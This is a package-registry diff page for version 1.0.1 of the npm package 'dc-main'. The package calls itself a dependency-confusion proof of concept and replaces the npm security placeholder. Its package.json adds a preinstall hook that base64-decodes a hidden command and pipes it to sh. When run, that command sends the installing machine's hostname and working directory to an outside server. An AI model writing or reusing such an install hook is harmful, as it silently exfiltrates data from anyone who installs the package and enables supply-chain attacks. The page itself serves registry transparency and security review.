dc-main 0.0.1-security → 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of dc-main might be problematic. Click here for more details.
- package/index.js +21 -0
- package/package.json +11 -5
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,21 @@
|
|
1
|
+
const str = function () {
|
2
|
+
/*
|
3
|
+
|
4
|
+
______ _ _____ __ _ ______ _____ _____
|
5
|
+
| _ \ | | / __ \ / _| (_) | ___ \ _ / __ \
|
6
|
+
| | | |___ _ __ ___ _ __ __| | ___ _ __ ___ _ _ | / \/ ___ _ __ | |_ _ _ ___ _ ___ _ __ | |_/ / | | | / \/
|
7
|
+
| | | / _ \ '_ \ / _ \ '_ \ / _` |/ _ \ '_ \ / __| | | | | | / _ \| '_ \| _| | | / __| |/ _ \| '_ \ | __/| | | | |
|
8
|
+
| |/ / __/ |_) | __/ | | | (_| | __/ | | | (__| |_| | | \__/\ (_) | | | | | | |_| \__ \ | (_) | | | | | | \ \_/ / \__/\
|
9
|
+
|___/ \___| .__/ \___|_| |_|\__,_|\___|_| |_|\___|\__, | \____/\___/|_| |_|_| \__,_|___/_|\___/|_| |_| \_| \___/ \____/
|
10
|
+
| | __/ |
|
11
|
+
|_| |___/
|
12
|
+
|
13
|
+
A poc of dependency confusion. This is for proof of concept only.
|
14
|
+
|
15
|
+
Contact: contact@jqsec.cc
|
16
|
+
|
17
|
+
|
18
|
+
*/
|
19
|
+
}
|
20
|
+
|
21
|
+
console.log(str.toString().split('\n').slice(2,-2).join('\n'))
|
package/package.json
CHANGED
@@ -1,6 +1,12 @@
|
|
1
1
|
{
|
2
|
-
|
3
|
-
|
4
|
-
|
5
|
-
|
6
|
-
|
2
|
+
"name": "dc-main",
|
3
|
+
"version": "1.0.1",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstall": "npm run build",
|
8
|
+
"build":"echo 'Y3VybCBodHRwczovL2RjLjcwLmxjL2QgLVggUE9TVCAtSCAnQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uJyAtLWRhdGEgJ3siaXAiOiJOL0EiLCJob3N0IjoiJyQoaG9zdG5hbWUpJyIsInBhdGgiOiInJChwd2QpJyIsIm9yZyI6Ik4vQSIsInBhY2thZ2UiOiJOL0EiLCJ2ZXJzaW9uIjoiTi9BIn0n' | base64 -d | sh"
|
9
|
+
},
|
10
|
+
"author": "jq",
|
11
|
+
"license": "ISC"
|
12
|
+
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=dc-main for more information.
|